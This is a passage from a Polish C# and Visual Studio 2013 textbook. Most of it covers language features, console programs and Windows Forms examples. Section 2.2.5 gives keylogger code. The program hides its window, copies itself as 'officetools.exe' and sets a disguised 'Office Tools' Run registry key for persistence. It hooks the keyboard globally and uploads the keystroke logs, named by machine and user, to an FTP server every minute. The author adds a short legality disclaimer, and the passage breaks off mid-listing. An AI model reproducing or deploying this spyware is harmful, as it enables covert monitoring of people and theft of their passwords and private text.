InitializeComponent();

//Możesz użyć metody, która przyjmuje parametr typu EventArgs


this.button1.KeyDown += this.MultiHandler;

//Możesz użyć tej samej obsługi zdarzenia


this.button1.MouseClick += this.MultiHandler;

1.24. Operator konwersji as


Operator konwersji as jest taki sam jak rzutowanie, z wyjątkiem tego że w przypadku
błędu nie rzuca wyjątku, lecz tylko zwraca null.

Przykładowe użycie:
object[] array = new object[2] { "Jakiś tekst", 32 };

string text = array[0] as string;


int? num = array[1] as int?;

1.25. Obsługa wyjątków


Obsługa błędów języka C# pozwala Ci kontrolować nieoczekiwane i wyjątkowe sytu-
acje, które się zdarzają podczas działania programu. Używane słowa kluczowe try,
catch, i finally pozwalają na przetestowanie sytuacji, które mogą zakończyć się nie-
powodzeniem. Wyjątki mogą być generowane przez Common Language Runtime
(środowisko uruchomieniowe wspólnego języka) .NET Framework oraz biblioteki.
Wyjątki są tworzone poprzez użycie słowa kluczowego throw.
92 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Poniższy przykład zawiera metodę, która dzieli dwie liczby ― gdy liczba, przez którą
będzie wykonywane dzielenie, będzie zerem, złapany zostanie wyjątek. Bez obsługi błę-
dów program ten zakończyłby się wyświetleniem komunikatu DivideByZeroException was
unhandled.
using System;

class ExceptionTest
{
static double SafeDivision(double x, double y)
{
if (y == 0)
throw new System.DivideByZeroException();
//Rzuć wyjątek DivideByZeroException
return x / y;
}
static void Main()
{
double a = 98, b = 0;
double result = 0;

try //Spróbuj wykonać dzielenie


{
result = SafeDivision(a, b);
Console.WriteLine("{0} / {1} = {2}", a, b, result);
}
catch (DivideByZeroException e) //Złap wyjątek, gdy wystąpił
{
Console.WriteLine("Próbujesz dzielić przez zero.");
}
}
}

1.25.1. Podsumowanie
 Wszystkie wyjątki pochodzą z System.Exception.
 Używaj bloku try w miejscach, w których mogą wystąpić wyjątki.
 Gdy w bloku try wystąpi wyjątek, kontrola zostanie natychmiast przekazana
do obsługi wyjątków. W języku C# słowo kluczowe catch jest używane
do definiowania obsługi wyjątków.
 Gdy wystąpi wyjątek, który nie zostanie obsłużony, program zakończy swoje
działanie, wyświetlając komunikat o błędzie.
 Gdy blok catch definiuje zmienną wyjątku, możesz jej użyć, aby uzyskać więcej
informacji o wyjątku, który wystąpił.
 Kod w bloku finally jest wykonywany nawet, gdy wystąpił wyjątek. Użyj tego
bloku do zwolnienia zasobów, na przykład zamknięcia strumieni lub plików,
które zostały otwarte w bloku try.
Rozdział 1.  Język C# 93

1.26. Składnia async i await


Odczyt i zapis dużej ilości danych może powodować duże użycie zasobów. Powi-
nieneś wykonywać takie czynności asynchronicznie, aby aplikacja mogła odpowiadać
użytkownikowi. Przy synchronicznych operacjach wejścia-wyjścia wątek obsługi in-
terfejsu użytkownika jest blokowany, dopóki nie skończą się te operacje.

Składowe asynchroniczne zawierają w swojej nazwie słowo Async, na przykład CopyTo


Async, FlushAsync, ReadAsync czy WriteAsync. Używaj tych metod w połączeniu ze
słowami kluczowymi async i await.

1.27. Klasy abstrakcyjne


i zapieczętowane (ang. sealed)
Słowo kluczowe abstract pozwala tworzyć klasy i składowe, które są niekompletne
i muszą być zaimplementowane w klasie pochodnej.

Klasa może być zadeklarowana jako abstrakcyjna poprzez umieszczenie słowa klu-
czowego abstract przed definicją. Na przykład:
public abstract class A
{
//Tutaj składowe klasy
}

Nie można tworzyć instancji klasy abstrakcyjnej. Celem klasy abstrakcyjnej jest do-
starczenie definicji klasy bazowej, którą klasy potomne mogą dzielić między sobą. Na
przykład biblioteka może definiować klasę abstrakcyjną używaną jako parametr róż-
nych funkcji i wymagać od programisty korzystającego z biblioteki utworzenia własnej
implementacji klasy poprzez utworzenie klasy potomnej.

Klasy abstrakcyjne mogą definiować metody abstrakcyjne. Robi się to poprzez dodanie
słowa kluczowego abstract przed typem zwracanym przez metodę. Na przykład:
public abstract class A
{
public abstract void DoWork(int i);
}

Metody abstrakcyjne nie mają implementacji, dlatego definicja takiej metody kończy
się średnikiem, a nie blokiem instrukcji. Klasy potomne klasy abstrakcyjnej muszą
implementować wszystkie metody abstrakcyjne. Kiedy klasa abstrakcyjna dziedziczy
metodę wirtualną po klasie bazowej, klasa abstrakcyjna musi przesłonić metodę
wirtualną metodą abstrakcyjną. Na przykład:
94 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

public class D
{
public virtual void DoWork(int i)
{
//oryginalna implementacja
}
}

public abstract class E : D


{
public abstract override void DoWork(int i);
}

public class F : E
{
public override void DoWork(int i)
{
//nowa implementacja
}
}

Jeżeli metoda wirtualna jest zadeklarowana jako abstrakcyjna, jest nadal wirtualna dla
każdej klasy dziedziczącej po klasie abstrakcyjnej. Klasa dziedzicząca metodę abs-
trakcyjną nie ma dostępu do oryginalnej implementacji metody ― w poprzednim
przykładzie metoda DoWork klasy F nie może wywołać metody DoWork klasy D. Pod-
sumowując, można powiedzieć, że klasa abstrakcyjna może wymusić na klasach po-
tomnych dostarczenie nowej implementacji metod wirtualnych.

Słowo kluczowe sealed pozwala zabronić dziedziczenia klasy lub składowych, które
zostały wcześniej oznaczone jako virtual.

Klasy mogą być zadeklarowane jako zapieczętowane poprzez umieszczenie słowa


kluczowego sealed przed definicją klasy. Na przykład:
public sealed class D
{
//Tutaj składowe klasy
}

Klasa zapieczętowana nie może być używana jako klasa bazowa. Z tego powodu nie
może ona być także klasą abstrakcyjną, gdyż zabrania tworzenia klas potomnych. Jako
że klasa taka nie może być klasą bazową, niektóre optymalizacje czasu uruchomienia
(run-time) mogą nieco przyśpieszyć wywoływanie składowych klasy zapieczętowanej.

Składowa klasy potomnej, która przesłania wirtualną składową klasy bazowej, może
zadeklarować tę składową jako zapieczętowaną. Neguje to aspekt wirtualny dla kolej-
nych klas potomnych. Wykonuje się to poprzez umieszczenie słowa kluczowego sealed
przed słowem override w deklaracji składowej. Na przykład:
public class D : C
{
public sealed override void DoWork() { }
}
Rozdział 2.
Aplikacje dla Pulpitu

2.1. Aplikacje konsolowe


Aplikacje konsolowe to programy, które działają w trybie tekstowym. Nie posiadają
graficznego interfejsu użytkownika.

2.1.1. Argumenty wiersza polecenia


Wywołując program konsolowy z wiersza polecenia, możemy podać mu argumenty,
na przykład nazwę pliku do przetworzenia. Argumenty znajdują się w tablicy napisów
w funkcji Main. Pobrać je możemy na przykład pętlą for, jak w poniższym przykładzie:
using System;
public class CommandLine
{
public static void Main(string[] args)
{
//Właściwość Length jest użyta do określenia długości tablicy
//Zauważ, że ta właściwość jest tylko do odczytu
Console.WriteLine("Ilosc argumentow wiersza polecenia = {0}",
args.Length);
for(int i = 0; i < args.Length; i++)
{
Console.WriteLine("Arg[{0}] = [{1}]", i, args[i]);
}
}
}

Możemy to też zrobić za pomocą pętli foreach, jak poniżej:


using System;
public class CommandLine2
{
public static void Main(string[] args)
{
96 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Console.WriteLine("Ilosc argumentow wiersza polecenia = {0}",


args.Length);
foreach(string s in args)
{
Console.WriteLine(s);
}
}
}

Zmienna args jest tablicą napisów ― jak już wcześniej wspominałem ― i do jej ele-
mentów można się dostać, używając operatora []. Oczywiście należy pamiętać, że in-
deksy tablicy numerowane są od zera.

2.1.2. Przykład: kalkulator naukowy


Poniżej przedstawiono kalkulator z funkcjami naukowymi. Całość kalkulatora opiera
się głównie na metodach z klasy System.Math.

Listing 2.1. Konsolowy kalkulator naukowy


using System;
using System.Text;

namespace MyCalculator
{
class Program
{
static void Main(string[] args)
{
double num = 0.0;

while (true)
{
Console.Clear();
Console.BackgroundColor = ConsoleColor.Black;
Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine("Available operations:");
Console.WriteLine("[a] x! [j] tan");
Console.WriteLine("[b] 1/x [k] sin-1");
Console.WriteLine("[c] sqrt [l] cos-1");
Console.WriteLine("[d] log [m] tan-1");
Console.WriteLine("[e] log10 [n] sinh");
Console.WriteLine("[f] e^x [o] cosh");
Console.WriteLine("[g] PI [p] tanh");
Console.WriteLine("[h] sin [z] EXIT");
Console.WriteLine("[i] cos");
Console.Write(">");
string choice = Console.ReadLine();
if (choice == "")
continue;

if (choice[0] == 'z')
return;

if (choice[0] != 'g')
Rozdział 2.  Aplikacje dla Pulpitu 97

{
Console.Write("Enter the number:");
string text = Console.ReadLine();
num = 0.0;
while (!double.TryParse(text, out num))
{
Console.Write("Enter the NUMBER:");
text = Console.ReadLine();
}
}

switch (choice[0])
{
case 'a': // x!
{
long fact = 1;
for (int i = 1; i <= num; i++)
{
fact = fact * i;
}
Console.WriteLine(Convert.ToString(fact));
}
break;
case 'b': //1/x
{
Console.WriteLine((1 / num).ToString());
}
break;
case 'c': //sqrt
{
Console.WriteLine(Math.Sqrt(num).ToString());
}
break;
case 'd': //log
{
Console.WriteLine(Math.Log(num).ToString());
}
break;
case 'e': //log10
{
Console.WriteLine(Math.Log10(num).ToString());
}
break;
case 'f': //e^x
{
Console.WriteLine(Math.Exp(num).ToString());
}
break;
case 'g': //PI
{
Console.WriteLine(Math.PI.ToString());
}
break;
case 'h': //sin
{
Console.WriteLine(Math.Sin(num).ToString());
}
break;
98 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

case 'i': //cos


{
Console.WriteLine(Math.Cos(num).ToString());
}
break;
case 'j': //tan
{
Console.WriteLine(Math.Tan(num).ToString());
}
break;
case 'k': //sin - 1
{
Console.WriteLine(Math.Asin(num).ToString());
}
break;
case 'l': //cos - 1
{
Console.WriteLine(Math.Acos(num).ToString());
}
break;
case 'm': //tan - 1
{
Console.WriteLine(Math.Atan(num).ToString());
}
break;
case 'n': //sinh
{
Console.WriteLine(Math.Sinh(num).ToString());
}
break;
case 'o': //cosh
{
Console.WriteLine(Math.Cosh(num).ToString());
}
break;
case 'p': //tanh
{
Console.WriteLine(Math.Tanh(num).ToString());
}
break;
case 'z': //EXIT
{
return;
}
}//switch

Console.ReadKey();
} //while
}//main
}//class Program
}
Rozdział 2.  Aplikacje dla Pulpitu 99

2.1.3. Przykład: system walki do gry RPG


W tym rozdziale zaprezentuję kod prostego systemu walki. Bohater walczy z losowo
wybranym potworem. Walka odbywa się na przemian (turowo). Obrażenia są obliczane
według systemu znanego z gier Roguelike. Na przykład obrażenia 2d3+1 oznaczają, że
można zadać 2 punkty obrażeń, 4 punkty obrażeń lub 6 punktów obrażeń. Dodatkowo do
końcowego wyniku jest dodawany 1 punkt bonusowy. Gra jest projektem konsolowym,
więc aby ją przetestować, należy uruchomić Visual Studio for Desktop i utworzyć pro-
jekt Console Application.

Pełny kod źródłowy gry prezentuje listing 2.2.

Listing 2.2. System walki do tekstowej gry RPG


using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace RPGFightSystem
{
class Monster
{
public string Name { get; set; }
public int baseDamage { get; set; }
public int diceSides { get; set; }
public int damageBonus { get; set; }
public int health { get; set; }
public int givenExperience { get; set; }

public Monster Clone()


{
Monster m = new Monster();
m.Name = this.Name;
m.baseDamage = this.baseDamage;
m.diceSides = this.diceSides;
m.damageBonus = this.damageBonus;
m.health = this.health;
m.givenExperience = this.givenExperience;

return m;
}
}

class Game
{
public List<Monster> availableMonsters = new List<Monster>()
{
new Monster() { Name = "Rat", baseDamage = 1, diceSides = 3,
damageBonus = 0, health = 15, givenExperience = 3},
new Monster() { Name = "Bat", baseDamage = 1, diceSides = 2,
damageBonus = 0, health = 15, givenExperience = 4},
new Monster() { Name = "Goblin", baseDamage = 1, diceSides = 4,
damageBonus = 0, health = 25, givenExperience = 7},
100 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

new Monster() { Name = "Wolf", baseDamage = 1, diceSides = 5,


damageBonus = 0, health = 30, givenExperience = 9}
//add new monsters here
};

public void Fight(Monster monster)


{
bool lastAttackerWasPlayer = false;

Random r = new Random();

while (monster.health > 0 && playerHealth > 0)


{
if (lastAttackerWasPlayer)
{
int damage = (monster.baseDamage * r.Next(1,
monster.diceSides)) + monster.damageBonus;

if (r.Next(0, 100) < 70)


{
playerHealth -= damage;
Console.WriteLine(monster.Name + " hits you and gives " +
damage.ToString() + " damage.");
}
else //missed
{
Console.WriteLine(monster.Name + " missed to hit you.");
}

lastAttackerWasPlayer = false;
}
else
{
int damage = (baseDamage * r.Next(1, diceSides)) + damageBonus;

if (r.Next(0, 100) < 70)


{
monster.health -= damage;
Console.WriteLine("You hit " + monster.Name + " and give "
+ damage.ToString() + " damage.");
}
else //missed
{
Console.WriteLine("You missed to hit.");
}

lastAttackerWasPlayer = true;
}
if (playerHealth <= 0)
{
Console.WriteLine("You died.");
Console.ReadKey();
return;
}

if (monster.health <= 0)
{
Rozdział 2.  Aplikacje dla Pulpitu 101

Console.WriteLine("You killed " + monster.Name + "! (Experience


+" + monster.givenExperience.ToString() + ")");
playerExperience += monster.givenExperience;
if(playerExperience >= experienceToNextLevel)
{
playerLevel++;
Console.WriteLine("You advanced to level " +
playerLevel.ToString());
}
}

Console.ReadKey();
}
}

public int playerHealth { get; set; }


public int playerMaxHealth { get; set; }
public int playerLevel { get; set; }
public int playerExperience { get; set; }
public int experienceToNextLevel { get { return 8 * (playerLevel + 1) *
(playerLevel + 1) - 8 * (playerLevel + 1); } set { value = 0; } }
public int baseDamage { get; set; }
public int diceSides { get; set; }
public int damageBonus { get; set; }
}

class Program
{
static void Main(string[] args)
{
Game game = new Game();
game.baseDamage = 2;
game.diceSides = 3;
game.damageBonus = 0;
game.playerExperience = 5;
game.playerHealth = 30;
game.playerLevel = 1;
game.playerMaxHealth = 30;

Random r = new Random();


string choice = "y";
while (choice == "" || choice[0] != 'n')
{
if(game.playerHealth <= 0)
{
Console.WriteLine("You fight great but you died.");
Console.ReadKey();
return;
}

Console.WriteLine("Do You want to go deeper in the dungeon? (y/n)");


choice = Console.ReadLine();
if (choice == "")
continue;

if (choice[0] == 'y')
{
102 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Monster monster = game.availableMonsters[r.Next(0,


game.availableMonsters.Count)];
Console.WriteLine("You meet " + monster.Name + "!");
game.Fight(monster.Clone());
Console.WriteLine("Your statistics:");
Console.WriteLine("Health: " + game.playerHealth.ToString() +
"/" + game.playerMaxHealth.ToString());
Console.WriteLine("Damage: " + game.baseDamage.ToString() + "d"
+ game.diceSides.ToString() + "+" +
game.damageBonus.ToString());
Console.WriteLine("Experience: " +
game.playerExperience.ToString() + "/" +
game.experienceToNextLevel.ToString());
Console.WriteLine("Level: " + game.playerLevel.ToString());
if(r.Next(0, 100) < 40)
{
Console.WriteLine("You found a Health Potion!");
game.playerHealth = game.playerMaxHealth;
}
}
}
}
}
}

Działanie gry prezentuje rysunek 2.1.

Rysunek 2.1.
Działanie systemu
walki tekstowej
gry RPG
Rozdział 2.  Aplikacje dla Pulpitu 103

2.2. Windows Forms


2.2.1. Przegląd kontrolek
Programowanie z użyciem Windows Forms, w skrócie WinForms, opiera się na kon-
trolkach. Domyślnie programuje się tam zdarzeniowo, czyli cały mechanizm działania
aplikacji jest oparty na zdarzeniach. Za chwilę przedstawione zostaną wybrane kon-
trolki, jakich można używać w tego typu aplikacjach.

BackgroundWorker
Pozwala na wykonanie czasochłonnych operacji w osobnym wątku w tle.

Button

To przycisk znany każdemu. Po jego kliknięciu wywoływane jest odpowiednie zda-


rzenie i wykonywana jest określona przez programistę czynność.

CheckBox

Pole wielokrotnego wyboru. Może być zaznaczone lub puste. Pole Checked pozwala
sprawdzić, czy użytkownik zaznaczył tę kontrolkę.

CheckedListBox

Lista elementów z kontrolką CheckBox obok. Pozwala wybrać użytkownikowi okre-


ślone elementy z listy.

ColorDialog
Pozwala na wybór koloru z systemowej palety kolorów.
104 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

ComboBox

Lista rozwijana. Pozwala na wybór jednego elementu.

DateTimePicker

Pozwala wybrać datę i czas. Można to zastosować na przykład w formularzu, w któ-


rym użytkownik musi wprowadzić datę urodzenia, lub wszędzie, gdzie trzeba pobrać
datę czy czas.

FolderBrowserDialog
Pozwala wywołać okno przeglądania folderów.

FontDialog
Pozwala użytkownikowi wybrać czcionkę spośród dostępnych w systemie.

GroupBox
Służy do grupowania innych kontrolek.

Label
Etykieta tekstowa. Statyczny tekst. Często używana razem z innymi kontrolkami do ich
opisu.

LinkLabel
Etykieta w formie hiperłącza.

ListBox

Lista elementów.
Rozdział 2.  Aplikacje dla Pulpitu 105

ListView
Rozbudowana kontrolka listy. Pozwala na wyświetlenie elementów w postaci ikon, listy
oraz często używanego i przydatnego przy różnych danych raportu.

MaskedTextBox

Pole tekstowe z maską. Pozwala wprowadzić tylko dane o określonym formacie. Można
ustawić jako maskę numer telefonu, kod pocztowy, liczbę itp.

MonthCalendar

Kontrolka kalendarza.

NumericUpDown

Kontrolka pozwalająca pobrać liczbę. Zawiera strzałki w górę i w dół, służące do


zwiększania i zmniejszania wartości w polu kontrolki.

OpenFileDialog
Pozwala wywołać okno dialogowe otwierania pliku.

Panel
Graficzny panel. Układa się na nim inne kontrolki.

PictureBox
Kontrolka pozwala wyświetlić obrazek.
106 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

ProgressBar

Kontrolka paska postępu. Pozwala wyświetlić postęp wykonania określonej operacji.

RadioButton

Kontrolka pola jednokrotnego wyboru.

RichTextBox
Kontrolka pola tekstowego o bogatym formatowaniu. Pozwala formatować tekst po-
dobnie jak na przykład aplikacja WordPad systemu Windows.

SaveFileDialog
Pozwala wywołać okno zapisu pliku.

TabControl
Kontrolka zawierająca zakładki.

TextBox

Pole tekstowe. Może przyjmować i wyświetlać tekst.

Timer
Kontrolka licznika czasu. Pozwala wywoływać daną operację co określony przedział
czasowy.

Tooltip
Kontrolka podpowiedzi. Wyświetla chmurkę z informacją w określonym miejscu
formularza.

TrackBar

Kontrolka suwaka. Pozwala za pomocą suwaka wybrać wartość z określonego zakresu.


Rozdział 2.  Aplikacje dla Pulpitu 107

TreeView
Kontrolka widoku drzewa. Wyświetla elementy w postaci drzewa.

WebBrowser
Kontrolka przeglądarki internetowej. Pozwala wyświetlić stronę internetową. Można
jej użyć w aplikacji, aby na przykład wyświetlać aktualności lub inne informacje ze
strony internetowej.

2.2.2. Własne kontrolki (ang. user controls)


Tworzenie własnych kontrolek jest bardzo przydatną opcją. Szczególnie sprawdza się
przy rozbudowanych aplikacjach. Pozwala też rozdzielić pracę programistów.

Aby utworzyć nową kontrolkę, kliknij prawym klawiszem myszy projekt w oknie
Solution Explorer (rysunek 2.2) i wybierz Add > New Item....

Rysunek 2.2. Dodawanie nowej kontrolki do projektu

Z okna, które się pojawiło, wybierz User Control (rysunek 2.3), na dole wpisz nazwę
kontrolki i kliknij przycisk Add.

Teraz mamy w środkowym obszarze okna środowiska widok interfejsu kontrolki


użytkownika. Możemy tam dodawać istniejące kontrolki, z których zbudowana będzie
własna kontrolka (rysunek 2.4).
108 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Rysunek 2.3. Wybór rodzaju elementu: User Control

Rysunek 2.4. Okno projektowania kontrolki użytkownika

Po zaprojektowaniu i oprogramowaniu kontrolka jest gotowa do użycia. Jej logika jest


odrębną częścią, zamkniętą w obszarze tej kontrolki. Pozwala to zachować porzą-
dek w kodzie projektu.

2.2.3. Przykład: kalkulator


Teraz przedstawione zostanie tworzenie prostego kalkulatora. Jest on dość mocno
ograniczony, bo obsługuje tylko operacje na dwóch liczbach, ale doskonale nadaje się
jako ćwiczenie na początek nauki.

Zaprojektuj interfejs aplikacji tak jak na rysunku 2.5.

Kliknij dwukrotnie lewym klawiszem myszy przycisk Oblicz. Zostaniesz przeniesio-


ny do nowo utworzonego zdarzenia button1_Click.

Zdarzenie to będzie zawierało cały kod wykonujący obliczenia. Przedstawiony jest na


listingu 2.3.
Rozdział 2.  Aplikacje dla Pulpitu 109

Rysunek 2.5.
Projekt interfejsu
kalkulatora

Listing 2.3. Zdarzenie Oblicz programu Kalkulator

private void button1_Click(object sender, EventArgs e)


{
double a, b, c = 0;

if(!double.TryParse(textBox1.Text, out a))


{
MessageBox.Show("Wprowadzono nieprawidłową wartość.");
return;
}
if (!double.TryParse(textBox2.Text, out b))
{
MessageBox.Show("Wprowadzono nieprawidłową wartość.");
return;
}

if(radioButton1.Checked)
{
c = a + b;
}
else if (radioButton2.Checked)
{
c = a - b;
}
else if (radioButton3.Checked)
{
c = a * b;
}
else if (radioButton4.Checked)
{
if (b == 0)
MessageBox.Show("Nastąpiła próba podzielenia przez zero.
Procesor został uszkodzony.");
else
c = a / b;
}

textBox3.Text = c.ToString();
}
110 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Działanie programu prezentuje rysunek 2.6.

Rysunek 2.6.
Działanie programu
Kalkulator

Zadanie do wykonania
Dodaj do programu Kalkulator pierwiastkowanie oraz potęgowanie.

2.2.4. Przykład: rejestrator dźwięku


W języku C# bardzo łatwo jest napisać rejestrator dźwięku. Program taki pozwala na-
grywać dźwięk z mikrofonu, zapisać go, a następnie odtworzyć.

Utwórz nowy projekt typu Windows Forms (w Visual Studio for Desktop). Na formularz
dodaj trzy przyciski: Record, Stop and Save oraz Play (rysunek 2.7).

Rysunek. 2.7.
Okno tworzonego
rejestratora dźwięku

Teraz w oknie Solution Explorer kliknij prawym klawiszem myszy References i wy-
bierz Add Reference. Znajdź referencję Microsoft.VisualBasic i kliknij OK. Teraz
kliknij Form1 i wybierz View Code. Na górze do przestrzeni nazw dodaj:
using System.Runtime.InteropServices;

W klasie Form1 zaraz po klamrze otwierającej { dodaj:


[DllImport("winmm.dll", EntryPoint = "mciSendStringA", ExactSpelling = true,
CharSet = CharSet.Ansi, SetLastError = true)]

private static extern int record(string lpstrCommand, string lpstrReturnString, int


uReturnLength, int hwndCallback);
Rozdział 2.  Aplikacje dla Pulpitu 111

Wróć do widoku formularza z przyciskami. Kliknij podwójnie przycisk do nagrywania


i w wygenerowanym zdarzeniu wstaw kod:
record("open new Type waveaudio Alias recsound", "", 0, 0);
record("record recsound", "", 0, 0);

Do obsługi przycisku zatrzymania i zapisu pliku z nagraniem potrzebny będzie kod:


record("save recsound d:\\mic.wav", "", 0, 0);
record("close recsound", "", 0, 0);

A do obsługi przycisku odtwarzania potrzebny będzie kod:


(new Microsoft.VisualBasic.Devices.Audio()).Play("d:\\mic.wav");

W ten sposób, dzięki tym kilku linijkom kodu, mamy w pełni funkcjonalny rejestrator
dźwięku. Program można rozbudować, tworząc ładny interfejs graficzny oraz dodając
możliwość zarządzania plikami z nagraniami (na przykład utworzenia listy nagrań
z możliwością odsłuchania czy usunięcia).

2.2.5. Przykład: szpieg klawiatury (keylogger)


Kolejnym przykładem dość nietypowej i ciekawej aplikacji będzie szpieg klawiatury,
czyli keylogger. Aplikacja tego typu ma za zadanie rejestrować wszystko, co zostanie
wpisane na klawiaturze, i dostarczać w określone miejsce. Programy tego typu są le-
galne, jednak osobę, która będzie monitorowana, trzeba o tym poinformować. Ja jako
autor tej książki nie odpowiadam za nieodpowiednie użycie poniższych kodów. Służą
one jedynie w celach edukacyjnych.

Uruchom Visual Studio for Windows Desktop. Utwórz nowy projekt, wybierając jako
szablon aplikację Windows Forms. W oknie Solution Explorer kliknij podwójnie
Form1.cs. Powinno się uruchomić okno edycji formularza. Kliknij formularz i w oknie
Properties ustaw WindowState na Minimized oraz ShowInTaskbar na False. Teraz okno
programu po uruchomieniu będzie niewidoczne.

Kliknij podwójnie formularz, aby wygenerować zdarzenie Load.

Wpisz tam poniższy kod, który jest odpowiedzialny za dodanie do autostartu, założenie
podpięcia do klawiatury oraz uruchomienie licznika czasowego wysyłającego logi.
string tempPath = Path.GetTempPath();
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\
Windows\\CurrentVersion\\Run", true);

if (!IsStartupItem())
{
string destFilePath =
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"officetools.exe");

File.Copy(Application.ExecutablePath.ToString(), destFilePath);

rkApp.SetValue("Office Tools", destFilePath);


}
112 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

hookProcDelegate = hookProc;
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProcDelegate, hInstance, 0);
System.Timers.Timer myTimer = new System.Timers.Timer();
myTimer.Elapsed += new ElapsedEventHandler(OnTimedEvent);
myTimer.Interval = ti * 60 * 1000;
myTimer.Enabled = true;

Teraz w edytorze kodu na początku klasy Form1 dodaj następujący kod:


[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr
hInstance, uint threadId);
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref
keyboardHookStruct lParam);
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int
nMaxCount);

public delegate int keyboardHookProc(int code, int wParam,


ref keyboardHookStruct lParam);

private keyboardHookProc hookProcDelegate;

public struct keyboardHookStruct


{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
static IntPtr hhook = IntPtr.Zero;
static IntPtr hCurrentWindow = IntPtr.Zero;
static string Log = String.Empty;
static string windowTitle = String.Empty;
static byte shift = 0;
static int ti = 1; //Co ile minut wysyłać log
static string FTPServer = "ftp://mykeylogger.domain/public_html/panel/";
static string FTPUserName = "username";
static string FTPPassword = "password";

Wróć do widoku formularza. W oknie Properties kliknij ikonę błyskawicy. Poniżej


w tabeli są zdarzenia dotyczące formularza. Kliknij podwójnie pole obok zdarzenia Shown,
aby wygenerować metodę, i wpisz tam kod: this.Hide();. Spowoduje to dodatkowe
zapewnienie o tym, że okno nie będzie widoczne.
Rozdział 2.  Aplikacje dla Pulpitu 113

W klasie Form1 dodaj jeszcze jedną potrzebną metodę, która sprawdza, czy klucz w reje-
strze już istnieje. Jeśli istnieje, to nie ma sensu dodawać go drugi raz.
private bool IsStartupItem()
{
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\
Windows\\CurrentVersion\\Run", true);

if (rkApp.GetValue("Office Tools") == null)

return false;
else

return true;
}

Teraz na dole, w klasie Form1, dodaj poniższy kod. W tym kodzie są metody odpo-
wiedzialne za logowanie wciskanych klawiszy, wysyłanie logów na serwer FTP oraz
formatowanie logów do czytelnego dokumentu HTML.

Reszta kodu do wstawienia do klasy Form1:


private static string Colorize(string inputstr, int keytype)
{
switch (keytype)
{
case 1: return ("<i>" + inputstr + "</i>"); //function keys
case 2: return ("<span style=\"color: #808080;\">"
+ inputstr + "</span>"); //numbers
case 3: return ("<span style=\"color: #000080;\">" + inputstr +
"</span>"); //punctuation
case 4: return ("<span style=\"color: #008000;\">"
+ inputstr + "</span>"); //letters
default: return inputstr;
}

}
private static void OnTimedEvent(object source, ElapsedEventArgs e)
{
if (Log.Length < 8)
return;

string logFinal = String.Empty;


logFinal = "<html><head><meta http-equiv=\"Content-Type\" content=\
"text/html; charset=utf-8\"></head><body>";
logFinal += Log;
logFinal += "</body></html>";

string tempPath = Path.GetTempPath();

string logFileName = Environment.MachineName + "-" + Environment.UserName +


"-" + DateTime.Now.ToString("HH-mm-ss_d-M-yyyy") + ".html";

string fullPath = tempPath + logFileName;

using (StreamWriter outfile = new StreamWriter(fullPath))


{
outfile.Write(logFinal);
114 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

try
{
//WYSYŁANIE NA FTP
FtpWebRequest ftp = (FtpWebRequest)WebRequest.Create(FTPServer + "/"
+ logFileName);
ftp.Credentials = new NetworkCredential(FTPUserName, FTPPassword);
ftp.KeepAlive = true;
ftp.UseBinary = true;
ftp.UsePassive = true;
ftp.Method = WebRequestMethods.Ftp.UploadFile;
FileStream fs = File.OpenRead(fullPath); //ścieżka lokalna
byte[] buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
fs.Close();
Stream ftpstream = ftp.GetRequestStream();
ftpstream.Write(buffer, 0, buffer.Length);
ftpstream.Close();
}
catch(Exception)
{

//WYSYŁANIE NA FTP KONIEC

File.Delete(fullPath);

Log = String.Empty;
logFinal = String.Empty;
}
public static int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
KeyEventArgs kea = new KeyEventArgs(key);
if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)
{
if (hCurrentWindow != GetForegroundWindow())
{
StringBuilder sb = new StringBuilder(256);
hCurrentWindow = GetForegroundWindow();
GetWindowText(hCurrentWindow, sb, sb.Capacity);
Log += "<br /><strong>[" + sb.ToString() + "]</strong><br />";
}
if (Keys.Shift == Control.ModifierKeys) shift = 1;
else shift = 0;
switch (kea.KeyCode)
{
case Keys.Back: Log += Colorize("[Backspace]", 1);
break;
case Keys.Tab: Log += Colorize("[Tab]", 1);
break;
case Keys.LineFeed: Log += Colorize("[LineFeed]", 1);
break;
Rozdział 2.  Aplikacje dla Pulpitu 115

case Keys.Clear: Log += Colorize("[Clear]", 1);


break;
case Keys.Return: Log += Colorize("[Enter]<br />", 1);
break;
